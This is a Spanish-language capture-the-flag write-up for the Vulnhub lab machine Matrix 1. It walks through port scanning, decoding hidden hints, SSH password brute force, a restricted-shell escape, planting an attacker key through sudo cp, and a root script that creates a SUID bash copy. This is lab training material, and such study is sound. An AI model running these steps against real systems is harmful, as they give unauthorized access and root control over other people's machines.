Matrix 1 – Vulnhub Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy
  • Platform / Plataforma: Vulnhub

‘Vulnhub’ Avatar


Resumen Link to heading

Matrix 1 es una máquina fácil y gratuita basada en Linux de la plataforma Vulnhub. Luego de un escaneo inicial sobre los puertos TCP abiertos, éstos muestran que la máquina víctima está corriendo sitios web en 2 puertos distintos: 80 y 31337. Visitando el clásico puerto 80 nos da una pista que nos lleva al sitio del puerto 31337. Mirando el código fuente de la segunda página tiene un texto encodeado que nos da la ubicación de un archivo oculto. Revisando este archivo oculto nos da información acerca de un usuario y potencial contraseña; pero la contraseña está dada a medias. Tenemos que intentar distintas combinaciones de esta posible contraseña a través de un Brute Force Password Login (intentos de logueo por fuerza bruta) a través del servicio SSH hasta que encontramos una contraseña válida. Una vez dentro como este usuario vemos que puede correr el binario cp (copy/copiar) como otro usuario dentro de la máquina víctima; esto nos permita copiar una key de SSH dentro de los directorios de este usuario; garantizándonos así acceso a través de SSH. Este nuevo usuario puede correr un script con sudo como root. No obstante, este script no existe. De manera que podemos crear un script con un nombre que permite correrlo con sudo y así convertirnos en root.


User / Usuario Link to heading

Empezamos con un scan con Nmap para chequear qué puertos TCP están abiertos en la máquina víctima:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.20.1.122

Del primer scan podemos ver 3 puertos abiertos: 22 SSH, 80 HTTP y 31337 HTTP también. Chequeando versiones sobre estos puertos, tenemos:

❯ sudo nmap -sVC -p22,80,31337 10.20.1.122 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 22:58 -04
Nmap scan report for 10.20.1.122
Host is up (0.00039s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 9c:8b:c7:7b:48:db:db:0c:4b:68:69:80:7b:12:4e:49 (RSA)
|   256 49:6c:23:38:fb:79:cb:e0:b3:fe:b2:f4:32:a2:70:8e (ECDSA)
|_  256 53:27:6f:04:ed:d1:e7:81:fb:00:98:54:e6:00:84:4a (ED25519)
80/tcp    open  http    SimpleHTTPServer 0.6 (Python 2.7.14)
|_http-title: Welcome in Matrix
|_http-server-header: SimpleHTTP/0.6 Python/2.7.14
31337/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.14)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.14
|_http-title: Welcome in Matrix
MAC Address: 08:00:27:4E:2D:7A (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.74 seconds

Usando WhatWeb en ambos sitios HTTP nos muestra que ambos sitios web están corriendo usando Python:

❯ whatweb -a 3 http://10.20.1.122

http://10.20.1.122 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[SimpleHTTP/0.6 Python/2.7.14], IP[10.20.1.122], JQuery, Python[2.7.14], Script[text/javascript], Title[Welcome in Matrix]

❯ whatweb -a 3 http://10.20.1.122:31337

http://10.20.1.122:31337 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[SimpleHTTP/0.6 Python/2.7.14], IP[10.20.1.122], JQuery, Python[2.7.14], Script[text/javascript], Title[Welcome in Matrix]

Visitando http://10.20.1.122 (en el puerto 80 de la máquina víctima) nos muestra una simple página web:

Matrix 1

AquĂ­ puedo leer el texto “Follow the Rabbit” (sigue al conejo), lo cual puede ser una pista.

Analizando el código fuente de la página del puerto 80 (Ctrl+U en Firefox, o usando cURL) puedo ver algo:

❯ curl -s http://10.20.1.122

<!DOCTYPE html>
<html>
        <head>
<SNIP>

<!-- service -->
                                                                <div class="service"><img src="assets/img/p0rt_31337.png"/ width="15">
                                                                </div><!-- End / service -->
<SNIP>

Hay un archivo con un nombre peculiar: /assets/img/p0rt_31337.png. Visitando http://10.20.1.122/assets/img/p0rt_31337.png sĂłlo muestra la imagen de un conejito:

Matrix 2

Deberíamos de seguir las pistas dadas por el nombre de la imagen p0rt_31337.png y visitar http://10.20.1.122:31337. Ahora podemos ver una página web similar:

Matrix 3

Mirando de nuevo el código fuente de esta nueva página en este nuevo puerto con cURL tenemos un texto encodeado:

❯ curl -s http://10.20.1.122:31337

<!DOCTYPE html>
<html>
        <head>
                <title>Welcome in Matrix</title>
<SNIP>
<!-- service -->
                                                                <div class="service">
                                                                        <!--p class="service__text">ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=</p-->
                                                                </div><!-- End / service -->
<SNIP>

Este texto está, aparentemente, encodedeado en base64. Podemos tratar de decodearlo:

❯ echo 'ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=' | base64 -d

echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix

Aquí puedo ver que se está utilizando el comando echo de UNIX sobre un texto y guardándola en un archivo Cypher.matrix. ¿Qué tal si este archivo existe en la máquina víctima? Podemos corroborarlo rápidamente usando cURL sobre este recurso (si existe) en consola:

❯ curl -s http://10.20.1.122:31337/Cypher.matrix

+++++ ++++[ ->+++ +++++ +<]>+ +++++ ++.<+ +++[- >++++ <]>++ ++++. +++++
+.<++ +++++ ++[-> ----- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]> +++.-
-.<++ +[->+ ++<]> ++++. <++++ ++++[ ->--- ----- <]>-- ----- ----- --.<+
+++++ ++[-> +++++ +++<] >++++ +.+++ +++++ +.+++ +++.< +++[- >---< ]>---
---.< +++[- >+++< ]>+++ +.<++ +++++ ++[-> ----- ----< ]>-.< +++++ +++[-
>++++ ++++< ]>+++ +++++ +.+++ ++.++ ++++. ----- .<+++ +++++ [->-- -----
-<]>- ----- ----- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ +.<++
+[->- --<]> ---.< ++++[ ->+++ +<]>+ ++.-- .---- ----- .<+++ [->++ +<]>+
+++++ .<+++ +++++ +[->- ----- ---<] >---- ---.< +++++ +++[- >++++ ++++<
]>+.< ++++[ ->+++ +<]>+ +.<++ +++++ ++[-> ----- ----< ]>--. <++++ ++++[
->+++ +++++ <]>++ +++++ .<+++ [->++ +<]>+ ++++. <++++ [->-- --<]> .<+++
[->++ +<]>+ ++++. +.<++ +++++ +[->- ----- --<]> ----- ---.< +++[- >---<
]>--- .<+++ +++++ +[->+ +++++ +++<] >++++ ++.<+ ++[-> ---<] >---- -.<++
+[->+ ++<]> ++.<+ ++[-> ---<] >---. <++++ ++++[ ->--- ----- <]>-- -----
-.<++ +++++ +[->+ +++++ ++<]> +++++ +++++ +++++ +.<++ +[->- --<]> -----
-.<++ ++[-> ++++< ]>++. .++++ .---- ----. +++.< +++[- >---< ]>--- --.<+
+++++ ++[-> ----- ---<] >---- .<+++ +++++ [->++ +++++ +<]>+ +++++ +++++
.<+++ ++++[ ->--- ----< ]>--- ----- -.<++ +++++ [->++ +++++ <]>++ +++++
+++.. <++++ +++[- >---- ---<] >---- ----- --.<+ +++++ ++[-> +++++ +++<]
>++.< +++++ [->-- ---<] >-..< +++++ +++[- >---- ----< ]>--- ----- ---.-
--.<+ +++++ ++[-> +++++ +++<] >++++ .<+++ ++[-> +++++ <]>++ +++++ +.+++
++.<+ ++[-> ---<] >---- --.<+ +++++ [->-- ----< ]>--- ----. <++++ +[->-
----< ]>-.< +++++ [->++ +++<] >++++ ++++. <++++ +[->+ ++++< ]>+++ +++++
+.<++ ++[-> ++++< ]>+.+ .<+++ +[->- ---<] >---- .<+++ [->++ +<]>+ +..<+
++[-> +++<] >++++ .<+++ +++++ [->-- ----- -<]>- ----- ----- --.<+ ++[->
---<] >---. <++++ ++[-> +++++ +<]>+ ++++. <++++ ++[-> ----- -<]>- ----.
<++++ ++++[ ->+++ +++++ <]>++ ++++. +++++ ++++. +++.< +++[- >---< ]>--.
--.<+ ++[-> +++<] >++++ ++.<+ +++++ +++[- >---- ----- <]>-- -.<++ +++++
+[->+ +++++ ++<]> +++++ +++++ ++.<+ ++[-> ---<] >--.< ++++[ ->+++ +<]>+
+.+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
+.+++ .---- ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++
+++[- >++++ ++++< ]>+++ .++++ +.--- ----. <++++ [->++ ++<]> +.<++ ++[->
----< ]>-.+ +.<++ ++[-> ++++< ]>+.< +++[- >---< ]>--- ---.< +++[- >+++<
]>+++ +.+.< +++++ ++++[ ->--- ----- -<]>- -.<++ +++++ ++[-> +++++ ++++<
]>++. ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++ +[->+
+++++ <]>++ +++.< +++++ +[->- ----- <]>-- ---.< +++++ +++[- >++++ ++++<
]>+++ +++++ .---- ---.< ++++[ ->+++ +<]>+ ++++. <++++ [->-- --<]> -.<++
+++++ +[->- ----- --<]> ----- .<+++ +++++ +[->+ +++++ +++<] >+.<+ ++[->
---<] >---- .<+++ [->++ +<]>+ +.--- -.<++ +[->- --<]> --.++ .++.- .<+++
+++++ [->-- ----- -<]>- ---.< +++++ ++++[ ->+++ +++++ +<]>+ +++++ .<+++
[->-- -<]>- ----. <+++[ ->+++ <]>++ .<+++ [->-- -<]>- --.<+ +++++ ++[->
----- ---<] >---- ----. <++++ +++[- >++++ +++<] >++++ +++.. <++++ +++[-
>---- ---<] >---- ---.< +++++ ++++[ ->+++ +++++ +<]>+ ++.-- .++++ +++.<
+++++ ++++[ ->--- ----- -<]>- ----- --.<+ +++++ +++[- >++++ +++++ <]>++
+++++ +.<++ +[->- --<]> -.+++ +++.- --.<+ +++++ +++[- >---- ----- <]>-.
<++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ .++++ +++++ .<+++ +[->- ---<]
>--.+ +++++ ++.<+ +++++ ++[-> ----- ---<] >---- ----- --.<+ +++++ ++[->
+++++ +++<] >+.<+ ++[-> +++<] >++++ .<+++ [->-- -<]>- .<+++ +++++ [->--
----- -<]>- ---.< +++++ +++[- >++++ ++++< ]>+++ +++.+ ++.++ +++.< +++[-
>---< ]>-.< +++++ +++[- >---- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]>
+++.< +++[- >+++< ]>+++ .+++. .<+++ [->-- -<]>- ---.- -.<++ ++[-> ++++<
]>+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
.+.-- .---- ----- .++++ +.--- ----. <++++ ++++[ ->--- ----- <]>-- -----
.<+++ +++++ [->++ +++++ +<]>+ +++++ +++++ ++++. ----- ----. <++++ ++++[
->--- ----- <]>-- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ ++++.
<+++[ ->--- <]>-- ----. <++++ [->++ ++<]> ++..+ +++.- ----- --.++ +.<++
+[->- --<]> ----- .<+++ ++++[ ->--- ----< ]>--- --.<+ ++++[ ->--- --<]>
----- ---.- --.<

AquĂ­ puedo ver un texto “random”. No obstante, esta es la sintaxis que usualmente se utiliza para el lenguage Brainfuck, usualmente. Podemos ir a esta página, copiar el texto hallado en el archivo Cypher.matrix y pasárselo a la página para decodearlo. Decodearlo nos muestra un mensaje:

You can enter into matrix as guest, with password k1ll0rXX
Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.

Basados en el texto, tenemos un usuario guest con contraseña k1ll0rXX, donde XX puede ser una combinación de caracteres. Es así como nos creamos un simple script en Python para crear un diccionario:

import string


def create_dictionary(filename: str)->None:
    characters: list[str] = list(string.digits + string.ascii_uppercase + string.ascii_lowercase + string.punctuation)
    base_password: str = 'k1ll0r'
    with open(filename, 'w') as f:
        for char1 in characters:
            for char2 in characters:
                f.write(base_password + char1 +char2 + "\n")
    print(f"[+] Dictionary saved as {filename!r}")


if __name__ == "__main__":
    create_dictionary("password.dic")

Este script creará un diccionario llamado password.dic con las posibles contraseñas. Corremos en una terminal:

❯ python3 create_dictionary.py

[+] Dictionary saved as 'password.dic'

Es entonces que podemos usar la herramienta NetExec para performar un Brute Force Password Login (intentar loguearse por fuerza bruta) a través del servicio SSH (que pudimos identificar que estaba corriendo en la máquina víctima gracias al scan inicial):

❯ netexec ssh 10.20.1.122 -u guest -p password.dic

SSH         10.20.1.122     22     10.20.1.122      [*] SSH-2.0-OpenSSH_7.7
SSH         10.20.1.122     22     10.20.1.122      [-] guest:k1ll0r00 Authentication failed.
SSH         10.20.1.122     22     10.20.1.122      [-] guest:k1ll0r01 Authentication failed.
SSH         10.20.1.122     22     10.20.1.122      [-] guest:k1ll0r02 Authentication failed.
<SNIP>
SSH         10.20.1.122     22     10.20.1.122      [-] guest:k1ll0r7l Authentication failed.
SSH         10.20.1.122     22     10.20.1.122      [-] guest:k1ll0r7m Authentication failed.
SSH         10.20.1.122     22     10.20.1.122      [+] guest:k1ll0r7n (Pwn3d!) (root) Linux - Shell access!

Tenemos credenciales guest:k1ll0r7n Y nos podemos conectar SSH con estas credenciales:

❯ sshpass -p 'k1ll0r7n' ssh -o stricthostkeychecking=no guest@10.20.1.122

Last login: Mon Aug  6 16:25:44 2018 from 192.168.56.102

guest@porteus:~$ whoami

-rbash: whoami: command not found

No obstante, al instante noto que estamos dentro de una Restricted Bash. Para escapar de este ambiente restringido (siguiendo algunos ejemplos de esta página), podemos cerrar la sesión de SSH, reconectarnos y escapar de esta usando la flag -t para spawnear una shell con bash; escapando del ambiente restringido:

❯ sudo sshpass -p 'k1ll0r7n' ssh -o stricthostkeychecking=no guest@10.20.1.122 -t bash

guest@porteus:~$ whoami

guest

Ahora que hemos escapado, noto que podemos correr 2 comandos con sudo:

guest@porteus:~$ sudo -l

User guest may run the following commands on porteus:
    (ALL) ALL
    (root) NOPASSWD: /usr/lib64/xfce4/session/xfsm-shutdown-helper
    (trinity) NOPASSWD: /bin/cp

El primer binario ni siquiera existe en el sistema. Sin embargo, /bin/cp es interesante dado que podemos correrlo como el usuario trinity. Inspeccionando /home/trinity es intersante dado que tenemos una carpeta .ssh:

guest@porteus:~$ ls -la /home/trinity

total 80
drwxr-xr-x 14 trinity trinity 4096 Aug  6  2018 ./
drwxr-xr-x  7 root    root    4096 Aug  6  2018 ../
-rw-------  1 trinity trinity   52 Aug  6  2018 .Xauthority
-rw-------  1 trinity trinity 2370 Aug 13  2018 .bash_history
drwxr-xr-x  5 trinity trinity 4096 Aug  6  2018 .cache/
drwxr-xr-x 11 trinity trinity 4096 Aug  6  2018 .config/
drwx------  3 trinity trinity 4096 Aug  6  2018 .dbus/
-rw-------  1 trinity trinity   16 Aug  6  2018 .esd_auth
-rw-r--r--  1 trinity trinity 3729 Oct 23  2017 .screenrc
drwxr-xr-x  2 trinity trinity 4096 Aug 15 05:02 .ssh/
drwx------  4 trinity trinity 4096 Aug  6  2018 .thumbnails/
drwxr-xr-x  2 trinity trinity 4096 Aug  6  2018 Desktop/
drwxr-xr-x  2 trinity trinity 4096 Aug  6  2018 Documents/
drwxr-xr-x  2 trinity trinity 4096 Aug  6  2018 Downloads/
drwxr-xr-x  2 trinity trinity 4096 Aug  6  2018 Music/
drwxr-xr-x  2 trinity trinity 4096 Aug  6  2018 Pictures/
drwxr-xr-x  2 trinity trinity 4096 Aug  6  2018 Public/
drwxr-xr-x  2 trinity trinity 4096 Aug  6  2018 Videos/
-rwxr-xr-x  1 trinity trinity 6056 Aug  6  2018 python*

El plan a realizar es simple:

  1. Crear una key SSH en nuestra máquina de atacante. Esto creará 2 archivos: id_rsa y id_rsa.pub.
  2. Abusando del binario /bin/cp con sudo, podemos correrlo como el usuario trinity y copiar el contenido de id_rsa.pub y pasarlo al archivo /home/trinity/.ssh/authorized_keys. De manera que, básicamente, estamos agregando nuestra key de SSH como una key autorizada; esto nos permitirá loguearnos como el usuario trinity a través de SSH. Para ello podemos tomar como ejemplo GTFOBins a través de su página web para el comando cp.
  3. Una vez la key ha sido agregada, la usamos para loguearnos via SSH como el usuario trinity.

De manera que, primero, creamos una key SSH en nuestra máquina de atacantes:

❯ ssh-keygen -t rsa -b 4096

Generating public/private rsa key pair.
Enter file in which to save the key (/home/gunzf0x/.ssh/id_rsa): /home/gunzf0x/OtherMachines/VulnHub/Matrix1/content/fake_trinity_id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/gunzf0x/OtherMachines/VulnHub/Matrix1/content/fake_trinity_id_rsa
Your public key has been saved in /home/gunzf0x/OtherMachines/VulnHub/Matrix1/content/fake_trinity_id_rsa.pub
The key fingerprint is:
SHA256:WJKS4PHjX7iqzLGcmNdoqFBE+fnYr8r1uIBICsLUM0U gunzf0x@kali
The key's randomart image is:
+---[RSA 4096]----+
|  +..E           |
| oo+.. .         |
| .o==.o .        |
|o. .=o =         |
|oo. .+o S        |
|=o ...oo         |
|+.oo. +.         |
|o*+=.+ o.        |
|=oB.+.+o.        |
+----[SHA256]-----+

de donde he guardado esta con el nombre fake_trinity_id_rsa. Esto crea 2 archivos en mi directorio, uno llamado fake_trinity_id_rsa y otro llamado fake_trinity_id_rsa.pub:

❯ ls -la

total 504
drwxrwxr-x 2 gunzf0x gunzf0x   4096 Aug 15 00:58 .
drwxrwxr-x 5 gunzf0x gunzf0x   4096 Aug 14 22:48 ..
-rw-rw-r-- 1 gunzf0x gunzf0x   4121 Aug 14 23:23 Cypher.matrix
-rw------- 1 gunzf0x gunzf0x   3381 Aug 15 00:58 fake_trinity_id_rsa
-rw-r--r-- 1 gunzf0x gunzf0x    738 Aug 15 00:58 fake_trinity_id_rsa.pub
-rw-rw-r-- 1 gunzf0x gunzf0x 481401 Aug 13  2018 p0rt_31337.png

Leyendo el contenido del archivo fake_trinity_id_rsa.pub tenemos:

❯ cat fake_trinity_id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpPGpmsDAWRBQ1HEUpbsClL6Bdh11NyrkQAKFPUaXVDap0UEHrUWB22hyxtFkMt0Xkqkco6d4TZhZYDyeshHM1vVaaMAcs2f1b6GLRpmkWLxGPtD0jriUsoTR0tcJJHp4ZWnUqeB2o0/6ZtA43kRRxFoGI7aNfVHaBzs2BPOjjciHIlKFTuxYUYWqubZO5FQA2xhD+GlmN9wKDSirl+CluMwj4h2RTXWXCRcSbNF5wIoSpitUSCyRiSUBnCNttdlhfrclU33MZiNF1q3TOs4J3wK6jGoJmbE/lI/RvNRvqwwTPMWFyhRKUwSGilRa0646OEyDf5Pmnd5Dk11qqc5tHFnwwRel3faaIjVxiKfiMdU4VsAy/7b34LSPayubj3wq/hi2SPJjEa2mvwItNK74UweZOkIeY1i0w1YEY2UHbQQHhELeMBzT9OGizeOCPd6eAaufdo/8wl6fxyffrxCKQE6nD60Fox701Tn7hJlD6lubKqS/BveI/ukwkkpWIdJL7cN3Vs/4k3eJQ4Pm+JosoNfFUx6/h6VoLO0t0IWSmYHdt0gV+O0UOkElw0U67VktA5LC3EdKkXCVGuSCvygSG5OTGBxCue7hYIDSqScwBAcT1szvMw8aRcpe5EOgep8wipe9d0MA3MZtWQdwBgxv55HVNH4d86E3ilT76O2q4OQ== gunzf0x@kali

Copio el contenido de este archivo y lo guardo en la máquina víctima como el archivo /tmp/temp_key:

guest@porteus:~$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpPGpmsDAWRBQ1HEUpbsClL6Bdh11NyrkQAKFPUaXVDap0UEHrUWB22hyxtFkMt0Xkqkco6d4TZhZYDyeshHM1vVaaMAcs2f1b6GLRpmkWLxGPtD0jriUsoTR0tcJJHp4ZWnUqeB2o0/6ZtA43kRRxFoGI7aNfVHaBzs2BPOjjciHIlKFTuxYUYWqubZO5FQA2xhD+GlmN9wKDSirl+CluMwj4h2RTXWXCRcSbNF5wIoSpitUSCyRiSUBnCNttdlhfrclU33MZiNF1q3TOs4J3wK6jGoJmbE/lI/RvNRvqwwTPMWFyhRKUwSGilRa0646OEyDf5Pmnd5Dk11qqc5tHFnwwRel3faaIjVxiKfiMdU4VsAy/7b34LSPayubj3wq/hi2SPJjEa2mvwItNK74UweZOkIeY1i0w1YEY2UHbQQHhELeMBzT9OGizeOCPd6eAaufdo/8wl6fxyffrxCKQE6nD60Fox701Tn7hJlD6lubKqS/BveI/ukwkkpWIdJL7cN3Vs/4k3eJQ4Pm+JosoNfFUx6/h6VoLO0t0IWSmYHdt0gV+O0UOkElw0U67VktA5LC3EdKkXCVGuSCvygSG5OTGBxCue7hYIDSqScwBAcT1szvMw8aRcpe5EOgep8wipe9d0MA3MZtWQdwBgxv55HVNH4d86E3ilT76O2q4OQ== gunzf0x@kali' > /tmp/temp_key

Abusando del permiso asignado a /bin/cp, agregamos la key como authorized_keys junto con sudo:

guest@porteus:~$ sudo -u trinity /bin/cp /tmp/temp_key /home/trinity/.ssh/authorized_keys

Ahora podemos tratar de loguearnos via SSH como el usuario trinity:

❯ ssh -i fake_trinity_id_rsa trinity@10.20.1.122

Last login: Mon Aug  6 16:37:45 2018 from 192.168.56.102
trinity@porteus:~$ whoami

trinity

Root Link to heading

Revisando qué es lo que puede correr este nuevo usuario con sudo tenemos:

trinity@porteus:~$ sudo -l

User trinity may run the following commands on porteus:
    (root) NOPASSWD: /home/trinity/oracle

vemos que podemos correr el archivo /home/trinity/oracle como root sin proveer una contraseña.

Sin embargo, noto que no existe ningún archivo llamado /home/trinity/oracle en el directorio /home/trinity (como podemos ver de los logs mostrados un poco más arriba). ¿Qué tal si creamos un script malicioso en el directorio /home/trinity/ llamado oracle? Para esto creamos un simple script en Bash como sigue:

#!/bin/bash
cp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x

Este script crea una copia del /bin/bash y, a aquella copia, le asigna permisos SUID. Dado que el propietario root, seremos capaches de correr un binario bash con permisos del dueño ( que será root) y spawnear una shell como este usuario. Podemos crear este archivo a través de un oneliner de Bash y luego asignarle permisos de ejecución al script creado con el comando chmod +x:

trinity@porteus:~$ echo -e '#!/bin/bash\ncp $(which bash) /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x' > /home/trinity/oracle

trinity@porteus:~$ chmod +x /home/trinity/oracle

Ahora, corro el script malicioso abusando del privilegio con sudo:

trinity@porteus:~$ sudo /home/trinity/oracle

Si chequeamos el directorio /tmp, nuestro archivo malicioso está allí:

trinity@porteus:~$ ls -la /tmp

total 1216
drwxrwxrwt 31 root    root       4096 Aug 15 05:30 ./
drwxr-xr-x 51 root    root       4096 Aug  6  2018 ../
<SNIP>
-rw-r--r--  1 root    root          2 Aug  6  2018 .psclock
-rwsr-xr-x  1 root    root    1102944 Aug 15 05:30 gunzf0x*
drwxr-xr-x  4 root    root       4096 Aug 13  2018 server/
drwx------  2 guest   users      4096 Aug  6  2018 ssh-0WcT6GDX7jGP/
<SNIP>

donde puedo ver los permisos de Ă©ste como -rwsr-xr-x; lo cual indica que tiene permisos SUID.

Corro la copia de bash con la flag -p para convertirnos en el usuario root:

trinity@porteus:~$ /tmp/gunzf0x -p

trinity@porteus:~# whoami

root

y eso es todo. Podemos ver el contenido del directorio /root para ver la Ăşltima flag:

trinity@porteus:~# cat /root/flag.txt
   _,-.
,-'  _|                  EVER REWIND OVER AND OVER AGAIN THROUGH THE
|_,-O__`-._              INITIAL AGENT SMITH/NEO INTERROGATION SCENE
|`-._\`.__ `_.           IN THE MATRIX AND BEAT OFF
|`-._`-.\,-'_|  _,-'.
     `-.|.-' | |`.-'|_     WHAT
        |      |_|,-'_`.
              |-._,-'  |     NO, ME NEITHER
         jrei | |    _,'
              '-|_,-'          IT'S JUST A HYPOTHETICAL QUESTION

¡Máquina completada!

Matrix 4

~ Happy Hacking